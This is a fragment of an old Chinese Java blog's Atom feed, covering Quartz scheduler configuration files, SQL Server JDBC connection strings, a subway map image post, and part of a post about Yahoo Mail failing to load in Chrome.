}&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  }&lt;br/&gt;&amp;nbsp;&amp;nbsp;  5. 在src下新建quartz_job.xml，&amp;lt;cron-expression&amp;gt;0/2 * * * * ?&amp;lt;/cron-expression&amp;gt;配置从0秒开始每两秒执行一次&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;quartz&amp;gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;job&amp;gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;job-detail&amp;gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;name&amp;gt;job1&amp;lt;/name&amp;gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;group&amp;gt;job&amp;lt;/group&amp;gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;job-class&amp;gt;com.capinfo.job.SimpleJob&amp;lt;/job-class&amp;gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;/job-detail&amp;gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;trigger&amp;gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;cron&amp;gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;name&amp;gt;t1&amp;lt;/name&amp;gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;group&amp;gt;job&amp;lt;/group&amp;gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;job-name&amp;gt;job1&amp;lt;/job-name&amp;gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;job-group&amp;gt;job&amp;lt;/job-group&amp;gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;cron-expression&amp;gt;0/2 * * * * ?&amp;lt;/cron-expression&amp;gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;/cron&amp;gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;/trigger&amp;gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;/job&amp;gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;/quartz&amp;gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;  6. 在web.xml中加入：&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;servlet&amp;gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;servlet-name&amp;gt;quartz&amp;lt;/servlet-name&amp;gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;servlet-class&amp;gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  org.quartz.ee.servlet.QuartzInitializerServlet&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;/servlet-class&amp;gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;init-param&amp;gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;param-name&amp;gt;config-file&amp;lt;/param-name&amp;gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;param-value&amp;gt;/quartz.properties&amp;lt;/param-value&amp;gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;/init-param&amp;gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;init-param&amp;gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;param-name&amp;gt;shutdown-on-unload&amp;lt;/param-name&amp;gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;param-value&amp;gt;true&amp;lt;/param-value&amp;gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;/init-param&amp;gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;load-on-startup&amp;gt;1&amp;lt;/load-on-startup&amp;gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;/servlet&amp;gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;  7. 在src下新建quartz.properties&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  #########################################################################&lt;br/&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  #============================================================================&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  # Configure Main Scheduler Properties&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  #============================================================================&lt;br/&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  org.quartz.scheduler.instanceName = TestScheduler&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  org.quartz.scheduler.instanceId = i_one&lt;br/&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  #============================================================================&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  # Configure ThreadPool&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  #============================================================================&lt;br/&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  org.quartz.threadPool.class = org.quartz.simpl.SimpleThreadPool&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  org.quartz.threadPool.threadCount = 5&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  org.quartz.threadPool.threadPriority = 5&lt;br/&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  #============================================================================&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  # Configure JobStore&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  #============================================================================&lt;br/&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  #org.quartz.jobStore.misfireThreshold = 60000&lt;br/&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  org.quartz.jobStore.class=org.quartz.impl.jdbcjobstore.JobStoreTX&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  org.quartz.jobStore.driverDelegateClass=org.quartz.impl.jdbcjobstore.MSSQLDelegate&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  #org.quartz.jobStore.useProperties=false&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  org.quartz.jobStore.dataSource=myDS&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  #org.quartz.jobStore.tablePrefix=QRTZ_&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  #org.quartz.jobStore.isClustered=true&lt;br/&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  #============================================================================&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  # Other Example Delegates&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  #============================================================================&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  #org.quartz.jobStore.driverDelegateClass=org.quartz.impl.jdbcjobstore.CloudscapeDelegate&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  #org.quartz.jobStore.driverDelegateClass=org.quartz.impl.jdbcjobstore.DB2v6Delegate&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  #org.quartz.jobStore.driverDelegateClass=org.quartz.impl.jdbcjobstore.DB2v7Delegate&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  #org.quartz.jobStore.driverDelegateClass=org.quartz.impl.jdbcjobstore.DriverDelegate&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  #org.quartz.jobStore.driverDelegateClass=org.quartz.impl.jdbcjobstore.HSQLDBDelegate&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  #org.quartz.jobStore.driverDelegateClass=org.quartz.impl.jdbcjobstore.MSSQLDelegate&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  #org.quartz.jobStore.driverDelegateClass=org.quartz.impl.jdbcjobstore.PointbaseDelegate&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  #org.quartz.jobStore.driverDelegateClass=org.quartz.impl.jdbcjobstore.PostgreSQLDelegate&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  #org.quartz.jobStore.driverDelegateClass=org.quartz.impl.jdbcjobstore.StdJDBCDelegate&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  #org.quartz.jobStore.driverDelegateClass=org.quartz.impl.jdbcjobstore.WebLogicDelegate&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  #org.quartz.jobStore.driverDelegateClass=org.quartz.impl.jdbcjobstore.oracle.OracleDelegate&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  #org.quartz.jobStore.driverDelegateClass=org.quartz.impl.jdbcjobstore.oracle.WebLogicOracleDelegate&lt;br/&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  #============================================================================&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  # Configure Datasources&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  #============================================================================&lt;br/&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  org.quartz.dataSource.myDS.driver = com.microsoft.sqlserver.jdbc.SQLServerDriver&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  org.quartz.dataSource.myDS.URL = jdbc:sqlserver://localhost:1433;;DatabaseName=quartzdb;autoReconnect=true&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  org.quartz.dataSource.myDS.user = sa&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  org.quartz.dataSource.myDS.password = 123456&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  org.quartz.dataSource.myDS.maxConnections = 5&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  org.quartz.dataSource.myDS.validationQuery=&lt;br/&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  #============================================================================&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  # Configure Plugins&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  #============================================================================&lt;br/&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  org.quartz.plugin.triggHistory.class = org.quartz.plugins.history.LoggingJobHistoryPlugin&lt;br/&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  org.quartz.plugin.jobInitializer.class = org.quartz.plugins.xml.JobInitializationPlugin&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  org.quartz.plugin.jobInitializer.fileName = quartz_job.xml&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  org.quartz.plugin.jobInitializer.overWriteExistingJobs = true&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  org.quartz.plugin.jobInitializer.failOnFileNotFound = true&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  org.quartz.plugin.jobInitializer.scanInterval = 10&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  org.quartz.plugin.jobInitializer.wrapInUserTransaction = false&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  #org.quartz.plugin.shutdownHook.class = org.quartz.plugins.management.ShutdownHookPlugin&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  #org.quartz.plugin.shutdownHook.cleanShutdown = true&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  #org.quartz.plugin.triggHistory.class = org.quartz.plugins.history.LoggingJobHistoryPlugin&lt;br/&gt;&amp;nbsp;&amp;nbsp;  8. 初始化数据库表，在\quartz-1.6.5\docs\dbTables中有sql脚本&lt;br/&gt;&amp;nbsp;&amp;nbsp;  9. OK，部署，运行&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-4270964271597957354?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/4270964271597957354/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/06/quartz_11.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/4270964271597957354'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/4270964271597957354'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/06/quartz_11.html' title='用 Quartz 进行作业调度'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-1100259369457550051</id><published>2009-06-10T23:55:00.000+08:00</published><updated>2010-08-13T11:22:02.759+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='学习java'/><title type='text'>jdbc连接sql server 2000和连接sql server 2005写法不同</title><content type='html'>在sql server 2000 中加载驱动和URL路径的语句是&lt;br/&gt;&lt;br/&gt;String driverName = &amp;quot;com.microsoft.jdbc.sqlserver.SQLServerDriver&amp;quot;;&lt;br/&gt;String dbURL = &amp;quot;jdbc:microsoft:sqlserver://localhost:1433; DatabaseName=sample&amp;quot;;&lt;br/&gt;&lt;br/&gt;而sql server 2005 中加载驱动和url的语句则为&lt;br/&gt;&lt;br/&gt;String driverName = &amp;quot;com.microsoft.sqlserver.jdbc.SQLServerDriver&amp;quot;;&lt;br/&gt;String dbURL = &amp;quot;jdbc:sqlserver://localhost:1433; DatabaseName=sample&amp;quot;;&lt;br/&gt;&lt;br/&gt;SQL Server 2005 driver for JDBC 参考：http://www.bccn.net/Article/kfyy/java/jszl/200706/4588.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-1100259369457550051?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/1100259369457550051/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/06/jdbcsql-server-2000sql-server-2005.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/1100259369457550051'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/1100259369457550051'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/06/jdbcsql-server-2000sql-server-2005.html' title='jdbc连接sql server 2000和连接sql server 2005写法不同'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-6719511370949589519</id><published>2009-06-09T21:50:00.000+08:00</published><updated>2010-08-13T11:22:02.767+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='图片'/><title type='text'>北京地铁规划</title><content type='html'>&lt;div align="left"&gt;&lt;a href="http://hiphotos.baidu.com/liuspring/pic/item/efbbdafd05040a60d6887dc6.jpeg" target="_blank"&gt;&lt;img border="0" src="http://hiphotos.baidu.com/liuspring/pic/item/efbbdafd05040a60d6887dc6.jpg" class="blogimg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-6719511370949589519?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/6719511370949589519/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/06/blog-post.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/6719511370949589519'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/6719511370949589519'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/06/blog-post.html' title='北京地铁规划'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-7339683737770549357</id><published>2009-06-03T17:13:00.000+08:00</published><updated>2010-08-13T11:22:03.061+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Myjob'/><title type='text'>发现谷歌浏览器不能加载yahoo邮箱</title><content type='html'>昨天就发现这个问题，用firefox没问题，我的chrome谷歌浏览器是3.0.182.3&lt;br/&gt;提示 yahoo邮箱无法加载&lt;br/&gt;按照提示 清楚缓存也没有用&lt;br/&gt;&lt;br/&gt;&lt;span class="Apple-style-span" style="border-collapse:separate;color:rgb(0,0,0);font-size:medium;font-style:normal;font-variant:normal;font-weight:normal;letter-spacing:normal;line-height:normal;orphans:2;text-indent:0;text-transform:none;white-space:normal;widows:2;word-spacing:0;"&gt;&lt;span class="Apple-style-span" style="font-size:13px;text-align:left;"&gt;&lt;br/&gt;&lt;table border="0" align="center" style="font-size:13px;"&gt;&lt;br/&gt;&lt;tbody&gt;&lt;br/&gt;&lt;tr&gt;&lt;br/&gt;&lt;td&gt; &lt;/td&gt;&lt;br/&gt;&lt;/tr&gt;&lt;br/&gt;&lt;tr class="primaryHeading" style="font-size:18px;font-weight:bold;color:rgb(92,89,178);"&gt;&lt;br/&gt;&lt;td&gt;Yahoo! 邮箱无法加载&lt;/td&gt;&lt;br/&gt;&lt;/tr&gt;&lt;br/&gt;&lt;tr&gt;&lt;br/&gt;&lt;td align="left"&gt;&lt;br/&gt;&lt;div class="primaryBodyText" style="font-size:13px;font-weight:normal;color:rgb(0,0,0);"&gt;&lt;br/&gt;&lt;p&gt;Loading Yahoo! Mail failed due to a client side error&lt;/p&gt;&lt;br/&gt;&lt;p&gt;您可以尝试对您的防火墙进行设置，并且禁用&amp;ldquo;屏蔽广告&amp;rdquo;。如果这个方法仍不凑效，请&lt;a style="color:rgb(0,102,204);"&gt;联系我们的客服&lt;/a&gt;。&lt;/p&gt;&lt;br/&gt;&lt;ul&gt;&lt;br/&gt;&lt;li style="margin-top:.5em;"&gt;试着&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;a href="http://help.cn.yahoo.com/answerpage_189.htmll" style="color:rgb(0,102,204);"&gt;清除您的浏览器缓存&lt;/a&gt;&lt;/li&gt;&lt;br/&gt;&lt;li style="margin-top:.5em;"&gt;试着&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;a href="http://help.cn.yahoo.com/answerpage_189.html" style="color:rgb(0,102,204);"&gt;清除您的浏览器缓存&lt;/a&gt;&lt;/li&gt;&lt;br/&gt;&lt;li style="margin-top:.5em;"&gt;时间太长？&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;a href="http://help.cn.yahoo.com/answerpage_2057.html" target="_blank" style="color:rgb(0,102,204);"&gt;更多信息&lt;/a&gt;&lt;/li&gt;&lt;br/&gt;&lt;li style="margin-top:.5em;"&gt;如果您收到一条ActiveX的警告，请启用 ActiveX。&lt;/li&gt;&lt;br/&gt;&lt;li style="margin-top:.5em;"&gt;在您&lt;a href="/ym/login?ymv=0" style="color:rgb(0,102,204);"&gt;原来的Yahoo! 邮箱&lt;/a&gt;里查信&lt;/li&gt;&lt;br/&gt;&lt;li style="margin-top:.5em;"&gt;&lt;a href="optout?script=no" style="color:rgb(0,102,204);"&gt;退出Yahoo! 邮箱&lt;/a&gt;，切换回原来的Yahoo! 邮箱&lt;/li&gt;&lt;br/&gt;&lt;li style="margin-top:.5em;"&gt;&lt;a href="http://cn.mg20.mail.yahoo.com/dc/launch?redirectOnError=0&amp;amp;npfa=1&amp;amp;&amp;amp;.gx=1&amp;amp;_t=1243991291" 